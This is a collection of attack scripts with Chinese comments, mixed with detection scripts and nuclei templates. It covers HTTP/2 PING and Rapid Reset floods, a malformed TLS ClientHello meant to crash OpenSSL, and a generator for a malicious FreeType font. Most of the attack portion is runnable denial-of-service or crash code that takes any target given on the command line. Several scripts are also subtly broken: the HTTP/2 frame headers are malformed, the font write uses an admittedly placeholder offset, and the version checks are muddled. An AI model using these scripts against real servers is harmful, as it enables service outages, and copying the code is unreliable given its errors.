// HTTP/2 Ping Flood 攻击脚本
package main

import (
    "context"
    "crypto/tls"
    "fmt"
    "net"
    "time"

    "golang.org/x/net/http2"
)

func pingFlood(target string) {
    conn, err := net.Dial("tcp", target)
    if err != nil {
        fmt.Printf("[!] 连接失败: %v\n", err)
        return
    }
    defer conn.Close()

    framer := http2.NewFramer(conn, conn)

    // 发送连续的 PING 帧
    payload := [8]byte{1, 2, 3, 4, 5, 6, 7, 8}
    count := 0
    for {
        if err := framer.WritePing(false, payload); err != nil {
            fmt.Printf("[!] 发送失败: %v\n", err)
            break
        }
        count++
        if count%1000 == 0 {
            fmt.Printf("[*] 已发送 %d PING 帧\n", count)
        }
        time.Sleep(time.Millisecond) // 控制发送速率
    }
}

func main() {
    pingFlood("target-server.com:443")
}

#!/usr/bin/env python3
"""
CVE-2019-9512 HTTP/2 Ping Flood 验证脚本
用法: python3 ping_flood.py <target_host:port>
"""
import socket
import sys
import struct
import time

HTTP2_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
PING_FRAME_HEADER = b"\x00\x00\x08"  # length=8
PING_FRAME_TYPE = b"\x00"  # type=PING
PING_FRAME_FLAGS = b"\x00"  # flags=0

def send_ping_flood(host, port, count=10000):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, int(port)))
    
    # HTTP/2 连接前缀
    sock.send(HTTP2_PREFACE)
    
    # 发送 SETTINGS 帧完成握手
    settings_frame = b"\x00\x00\x00\x04\x00"  # SETTINGS frame
    sock.send(settings_frame)
    
    ack_settings = b"\x00\x00\x00\x04\x01"  # ACK settings
    sock.send(ack_settings)
    
    print(f"[*] 开始发送 {count} 个 PING 帧...")
    for i in range(count):
        payload = struct.pack("!I", i) + b"\x00" * 4  # 8-byte payload
        frame = PING_FRAME_HEADER + PING_FRAME_TYPE + PING_FRAME_FLAGS + payload
        sock.send(frame)
        if i % 1000 == 0:
            print(f"    已发送 {i} 帧")
    print(f"[*] 完成！检查服务器 CPU 和内存使用情况")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <host> <port>")
        sys.exit(1)
    send_ping_flood(sys.argv[1], sys.argv[2])

// HTTP/2 Reset Flood 攻击脚本
package main

import (
    "fmt"
    "net"

    "golang.org/x/net/http2"
)

func resetFlood(target string) {
    conn, err := net.Dial("tcp", target)
    if err != nil {
        fmt.Printf("[!] 连接失败: %v\n", err)
        return
    }
    defer conn.Close()

    framer := http2.NewFramer(conn, conn)

    // HPACK 编码的简单请求头
    headers := []byte{
        0x82, 0x86, 0x04, 0x61, 0x74, 0x74, 0x61, 0x63,
        0x6b, 0x65, 0x64, 0x2e, 0x63, 0x6f, 0x6d, 0x82,
    }

    var streamID uint32 = 1
    count := 0
    for {
        // 发送 HEADERS 帧
        framer.WriteHeaders(http2.HeadersFrameParam{
            StreamID:      streamID,
            BlockFragment: headers,
            EndStream:     true,
        })

        // 立即发送 RST_STREAM 帧
        framer.WriteRSTStream(streamID, http2.ErrCodeCancel)

        streamID += 2  // 客户端流 ID 必须是奇数且递增
        count++

        if count%1000 == 0 {
            fmt.Printf("[*] 已发送 %d 对 HEADERS+RST\n", count)
        }

        if streamID > 2147483647 {
            fmt.Println("[*] 流 ID 达到上限，重新连接...")
            conn.Close()
            conn, err = net.Dial("tcp", target)
            if err != nil {
                fmt.Printf("[!] 重连失败: %v\n", err)
                return
            }
            framer = http2.NewFramer(conn, conn)
            streamID = 1
        }
    }
}

func main() {
    resetFlood("target-server.com:443")
}

#!/usr/bin/env python3
"""
CVE-2023-44487 HTTP/2 Rapid Reset 攻击脚本
基于 h2 库实现零延迟 HEADERS+RST_STREAM
"""
import socket
import struct
import sys
import time

class HTTP2RapidReset:
    def __init__(self, host, port=443):
        self.host = host
        self.port = port
        self.stream_id = 1
        
    def send_preface(self, sock):
        """发送 HTTP/2 连接前缀"""
        sock.send(b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n")
        
    def send_settings(self, sock):
        """发送 SETTINGS 帧完成握手"""
        # SETTINGS frame (empty, no parameters)
        frame = self._build_frame(0x04, b"", 0)  # type=SETTINGS
        sock.send(frame)
        
    def _build_frame(self, frame_type, payload, flags=0):
        """构建 HTTP/2 帧"""
        length = struct.pack("!I", len(payload))[1:]  # 3 bytes
        flags_byte = struct.pack("B", flags)
        stream_id = struct.pack("!I", self.stream_id)[1:]  # 3 bytes (skip first)
        return length + struct.pack("B", frame_type) + flags_byte + stream_id + payload
    
    def send_headers_and_reset(self, sock, headers=b"\x82\x86\x04"):
        """发送 HEADERS 帧并立即 RST_STREAM"""
        # HEADERS frame
        headers_frame = self._build_frame(0x01, headers, 0x04)  # END_STREAM
        sock.send(headers_frame)
        
        # RST_STREAM frame (immediate reset)
        rst_frame = self._build_frame(0x03, struct.pack("!I", 0x08), 0)  # CANCEL
        sock.send(rst_frame)
        
        self.stream_id += 2
        
    def attack(self, duration=60, rate=1000):
        """发起 Rapid Reset 攻击"""
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((self.host, self.port))
        
        self.send_preface(sock)
        self.send_settings(sock)
        
        print(f"[*] 开始 Rapid Reset 攻击: {self.host}:{self.port}")
        print(f"[*] 持续时间: {duration}s, 目标速率: {rate} req/s")
        
        start_time = time.time()
        total_frames = 0
        
        while time.time() - start_time < duration:
            # 以指定速率发送 HEADERS+RST
            interval = 1.0 / rate
            for _ in range(rate):
                self.send_headers_and_reset(sock)
                total_frames += 1
                
            elapsed = time.time() - start_time
            if total_frames % 10000 == 0:
                print(f"    [{elapsed:.1f}s] 已发送 {total_frames} 帧")
                
            time.sleep(interval)
            
        print(f"[*] 攻击完成！共发送 {total_frames} 帧")
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_host> <port> [duration] [rate]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2])
    duration = int(sys.argv[3]) if len(sys.argv) > 3 else 60
    rate = int(sys.argv[4]) if len(sys.argv) > 4 else 1000
    
    attacker = HTTP2RapidReset(host, port)
    attacker.attack(duration, rate)

# 在服务器端抓包，观察 HEADERS 和 RST_STREAM 帧
tcpdump -i any -nn -w http2_rapid_reset.pcap 'tcp port 443'
wireshark http2_rapid_reset.pcap

# 过滤 HTTP/2 帧
http2.type == 0x01 || http2.type == 0x04  # HEADERS 和 RST_STREAM

id: http2-protocol-supported

info:
  name: HTTP/2 协议支持检测
  author: security-researcher
  severity: info
  description: |
    检测目标是否支持 HTTP/2 协议
  tags: http2,protocol

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    follow-redirects: false

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "HTTP/2"
        part: header

#!/usr/bin/env python3
"""
HTTP/2 协议族漏洞批量检测
用法: python3 http2_detector.py targets.txt
"""
import sys
import socket
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_http2_support(url):
    """检测目标是否支持 HTTP/2"""
    try:
        resp = requests.get(url, timeout=10, verify=False, headers={
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": "Mozilla/5.0"
        })
        # 检查响应协议
        if hasattr(resp, 'raw') and resp.raw.version == 20:
            print(f"[HTTP2] {url} -> 支持 HTTP/2")
            return True
        elif "HTTP/2" in resp.headers.get("Alt-Svc", ""):
            print(f"[HTTP2] {url} -> Alt-Svc 声明 HTTP/2")
            return True
        else:
            print(f"[HTTP1] {url} -> 仅支持 HTTP/1.1")
            return False
    except Exception as e:
        print(f"[ERR ] {url} -> {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <targets.txt>")
        sys.exit(1)
    
    with open(sys.argv[1]) as f:
        targets = [line.strip() for line in f if line.strip()]
    
    for target in targets:
        check_http2_support(target)

#!/usr/bin/env python3
"""
CVE-2020-1967 OpenSSL SSL_check_chain SIGSEGV 验证
发送包含 signature_algorithms_cert 但缺少 signature_algorithms 的 TLS 握手包
"""
import socket
import struct
import sys

def build_tls_hello_with_bad_extensions(server_ip, server_port=443):
    """构造包含畸形扩展的 ClientHello"""
    
    # TLS Record Layer: Handshake
    record_type = b"\x16"  # Handshake
    version = b"\x03\x01"  # TLS 1.0
    
    # ClientHello
    client_hello = b"\x01"  # ClientHello type
    client_hello += struct.pack(">H", 0)  # Length placeholder
    
    # TLS 1.2 version
    client_hello += b"\x03\x03"
    
    # Random (32 bytes)
    import os
    client_hello += os.urandom(32)
    
    # Session ID (empty)
    client_hello += b"\x00"
    
    # Cipher Suites (empty - we just want to trigger the extension parsing)
    client_hello += b"\x00\x00"
    
    # Compression Methods (null compression)
    client_hello += b"\x01\x00"
    
    # Extensions
    extensions = b""
    
    # Extension: signature_algorithms_cert (present)
    sig_alg_cert_ext = struct.pack(">H", 0x0022)  # extension_type
    sig_alg_cert_data = b"\x00\x00"  # empty extensions_data
    extensions += struct.pack(">H", len(sig_alg_cert_data) + 2)
    extensions += sig_alg_cert_ext + sig_alg_cert_data
    
    # NOTE: signature_algorithms (0x000b) is intentionally MISSING
    
    client_hello += struct.pack(">H", len(extensions))
    client_hello += extensions
    
    # Fix length
    client_hello = client_hello[:2] + struct.pack(">H", len(client_hello) - 2) + client_hello[4:]
    
    # Wrap in TLS Record
    tls_record = record_type + version + struct.pack(">H", len(client_hello)) + client_hello
    
    return tls_record

def exploit(target_ip, target_port=443):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    try:
        sock.connect((target_ip, target_port))
        payload = build_tls_hello_with_bad_extensions(target_ip, target_port)
        sock.send(payload)
        print(f"[*] 已发送畸形 TLS ClientHello 到 {target_ip}:{target_port}")
        
        # 尝试接收响应
        try:
            resp = sock.recv(1024)
            if b"\x15" in resp[:1]:  # Alert record
                print("[!] 目标可能已崩溃（收到 Alert 记录）")
            else:
                print(f"[*] 收到响应 ({len(resp)} bytes)，目标可能已修复")
        except socket.timeout:
            print("[*] 无响应（目标可能已崩溃）")
            
    except Exception as e:
        print(f"[!] 错误: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [target_port]")
        sys.exit(1)
    exploit(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 443)

#!/usr/bin/env python3
"""
CVE-2021-3711 OpenSSL SM2 堆溢出验证思路
通过构造畸形 ASN.1 SM2 密文触发堆缓冲区溢出
注意：此脚本仅用于教育目的，在隔离环境中测试
"""
import subprocess
import sys

def check_openssl_version():
    """检查 OpenSSL 版本是否受影响"""
    result = subprocess.run(["openssl", "version"], capture_output=True, text=True)
    version = result.stdout.strip()
    print(f"[*] OpenSSL 版本: {version}")
    
    # 受影响版本: 1.1.1 - 1.1.1k
    if "1.1.1" in version:
        # 提取小版本号
        parts = version.replace("OpenSSL ", "").split(".")
        if len(parts) >= 3:
            patch = parts[2].replace("l", "").replace("m", "")
            try:
                patch_num = int(patch)
                if patch_num <= ord("k") - ord("a") + 10:
                    print(f"[!] 版本 {version} 可能受 CVE-2021-3711 影响")
                    return True
            except ValueError:
                pass
    print(f"[-] 版本不受影响或需要进一步验证")
    return False

def build_malformed_sm2_ciphertext():
    """
    构造畸形 ASN.1 SM2 密文
    核心思路：使长度字段声明值 < 实际解密后数据长度
    """
    # 这是一个示意性的框架，实际利用需要深入分析 SM2 密文的 ASN.1 结构
    # 标准 SM2 密文格式: [0x04][x1][y1][c1][c2][c3]
    # 攻击者需要篡改长度字段使 EVP_PKEY_decrypt 返回较小的 outlen
    
    malformed = bytes([
        0x30,       # SEQUENCE
        0x81, 0xFF, # Length (large)
        # ... 畸形 ASN.1 结构 ...
    ])
    return malformed

if __name__ == "__main__":
    if check_openssl_version():
        print("\n[*] 建议在隔离环境中进一步验证 SM2 堆溢出")
        print("[*] 可使用 ASAN 编译的 OpenSSL 进行安全测试")

# 1. 使用 AddressSanitizer 编译 OpenSSL
git clone https://github.com/openssl/openssl.git
cd openssl
./config -DOPENSSL_NO_ASM -fsanitize=address
make -j$(nproc)

# 2. 编译测试程序
gcc -fsanitize=address -o sm2_test test_sm2.c -L. -lssl -lcrypto

# 3. 运行测试（会捕获堆溢出）
./sm2_test malformed_sm2_ciphertext.der

#!/usr/bin/env python3
"""
CVE-2016-2183 Sweet32 生日攻击检测
检测目标是否支持 3DES 等 64 位块密码
"""
import ssl
import socket
import sys
import subprocess

def check_sweet32_vulnerable(host, port=443):
    """检测目标是否支持 3DES 加密套件"""
    
    # 方法 1: 使用 nmap
    try:
        result = subprocess.run(
            ["nmap", "-p", str(port), "--script", "ssl-enum-ciphers", "-n", host],
            capture_output=True, text=True, timeout=60
        )
        output = result.stdout
        if "3DES" in output or "SWEET32" in output:
            print(f"[VULN] {host}:{port} -> Sweet32 可利用")
            # 提取 3DES 相关套件
            for line in output.split("\n"):
                if "3DES" in line or "SWEET32" in line:
                    print(f"       {line.strip()}")
            return True
        else:
            print(f"[SAFE] {host}:{port} -> 不支持 3DES")
            return False
    except FileNotFoundError:
        print("[!] nmap 未安装，尝试方法 2")
    except Exception as e:
        print(f"[!] 错误: {e}")
    
    # 方法 2: 直接使用 OpenSSL 测试
    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        # 强制使用 3DES 套件
        ctx.set_ciphers("DES-CBC3-SHA")
        
        with socket.create_connection((host, port), timeout=10) as sock:
            with ctx.wrap_socket(sock, server_hostname=host) as ssock:
                cipher = ssock.cipher()
                if cipher and "3DES" in cipher[0]:
                    print(f"[VULN] {host}:{port} -> 协商到 3DES 套件: {cipher}")
                    return True
                else:
                    print(f"[SAFE] {host}:{port} -> 未协商到 3DES")
                    return False
    except ssl.SSLError:
        print(f"[SAFE] {host}:{port} -> 不支持 3DES 套件")
        return False
    except Exception as e:
        print(f"[!] 错误: {e}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_host> [port]")
        sys.exit(1)
    check_sweet32_vulnerable(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 443)

nmap -p 443 --script ssl-enum-ciphers target-host
# 查看输出中是否有 3DES 套件，评级为 C 或标注 SWEET32

id: openssl-sweet32-check

info:
  name: Sweet32 生日攻击检测
  author: security-researcher
  severity: medium
  description: |
    检测目标是否支持 3DES 等 64 位块密码
  tags: openssl,sweet32,cve-2016-2183

tls:
  - sni: "{{Hostname}}"
    cipher: "DES-CBC3-SHA"
    matcher:
      type: word
      part: tls_certificate

---
id: openssl-version-check

info:
  name: OpenSSL 版本检测
  author: security-researcher
  severity: info
  description: |
    检测 OpenSSL 版本是否受 CVE-2020-1967 或 CVE-2021-3711 影响
  tags: openssl,version

exec:
  commands:
    - cmd: openssl version
      output:
        - "{{Output}}"

#!/usr/bin/env python3
"""
CVE-2025-27363 FreeType 越界写入 POC 生成器
修改合法可变字体文件触发整数溢出
"""
import struct
import sys

def modify_font_for_overflow(input_font, output_font):
    """
    修改字体文件触发 CVE-2025-27363
    
    核心思路：
    1. 找到一个复合字形（composite glyph）
    2. 将其 subglyphs 数量修改为 0xfffd（触发整数溢出）
    """
    with open(input_font, "rb") as f:
        data = bytearray(f.read())
    
    # 查找表头
    # numTables, searchRange, entrySelector, rangeShift
    num_tables = struct.unpack(">H", data[4:6])[0]
    
    print(f"[*] 字体文件包含 {num_tables} 个表")
    
    # 定位到 glyf 表（字体字形数据）
    glyf_offset = None
    for i in range(num_tables):
        table_start = 18 + i * 16
        table_name = data[table_start:table_start+4].decode("ascii", errors="ignore")
        if table_name == "glyf":
            glyf_offset = struct.unpack(">I", data[table_start+8:table_start+12])[0]
            glyf_length = struct.unpack(">I", data[table_start+12:table_start+16])[0]
            print(f"[*] glyf 表偏移: 0x{glyf_offset:X}, 长度: {glyf_length}")
            break
    
    if glyf_offset is None:
        print("[-] 未找到 glyf 表")
        return
    
    # 在 glyf 表中查找复合字形标记
    # 复合字形的 firstFormat bit (bit 0) = 1 且 secondFormat bit (bit 1) = 1
    # 这会触发 subglyph 解析
    
    # 修改某个字形的 subglyphs 数量为 0xfffd
    # 这需要深入字体文件格式，以下为示意
    target_offset = glyf_offset + 0x100  # 示意偏移
    
    if target_offset + 2 < len(data):
        # 将 subglyph count 修改为 0xfffd
        struct.pack_into("<H", data, target_offset, 0xfffd)
        print(f"[*] 在偏移 0x{target_offset:X} 处写入 subglyphs = 0xfffd")
        
        with open(output_font, "wb") as f:
            f.write(data)
        print(f"[+] 恶意字体文件已保存到: {output_font}")
    else:
        print("[-] 偏移超出字体文件范围")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <input_font.ttf> <output_font_malicious.ttf>")
        print(f"示例: {sys.argv[0]} RobotoFlex.ttf malicious.rf2.ttf")
        sys.exit(1)
    modify_font_for_overflow(sys.argv[1], sys.argv[2])

# 1. 检查 FreeType 版本
freetype-config --version
# 受影响版本: <= 2.13.0

# 2. 使用 ASAN 编译的 FreeType 测试恶意字体
export ASAN_OPTIONS=detect_leaks=0
./ftmulti malicious.rf2.ttf

# 3. 预期输出（ASAN 检测到堆溢出）:
# ==15657==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000980
# WRITE of size 16 at 0x602000000980

#!/usr/bin/env python3
"""
CVE-2025-27363 FreeType 版本检测
检查系统中安装的 FreeType 版本是否受影响
"""
import subprocess
import sys
import re

def check_freetype_version():
    """检测 FreeType 版本"""
    # 方法 1: pkg-config
    try:
        result = subprocess.run(
            ["pkg-config", "--modversion", "freetype2"],
            capture_output=True, text=True
        )
        if result.returncode == 0:
            version = result.stdout.strip()
            print(f"[*] FreeType 版本: {version}")
            return version
    except FileNotFoundError:
        pass
    
    # 方法 2: ldconfig
    try:
        result = subprocess.run(
            ["ldconfig", "-p"],
            capture_output=True, text=True
        )
        match = re.search(r"libfreetype\.so\.\d+(\.\d+)*", result.stdout)
        if match:
            print(f"[*] 找到 libfreetype: {match.group()}")
    except FileNotFoundError:
        pass
    
    print("[-] 无法检测 FreeType 版本")
    return None

def is_vulnerable(version_str):
    """判断版本是否受影响"""
    if not version_str:
        return None
    
    # 提取主版本号
    match = re.match(r"(\d+)\.(\d+)\.(\d+)", version_str)
    if not match:
        return None
    
    major, minor, patch = int(match.group(1)), int(match.group(2)), int(match.group(3))
    
    # FreeType <= 2.13.0 受影响
    if major < 2:
        return False
    if major == 2 and minor < 13:
        return True
    if major == 2 and minor == 13 and patch <= 0:
        return True
    return False

if __name__ == "__main__":
    version = check_freetype_version()
    vulnerable = is_vulnerable(version)
    
    if vulnerable is True:
        print(f"[!] FreeType {version} 受 CVE-2025-27363 影响")
    elif vulnerable is False:
        print(f"[-] FreeType {version} 不受影响")
    else:
        print("[?] 无法判断版本")

# HTTP/2 协议检测
nuclei -u https://target -tags http2
curl -v --http2 https://target

# OpenSSL 版本检测
openssl version
nmap -p 443 --script ssl-enum-ciphers target

# FreeType 版本检测
freetype-config --version
ldconfig -p | grep freetype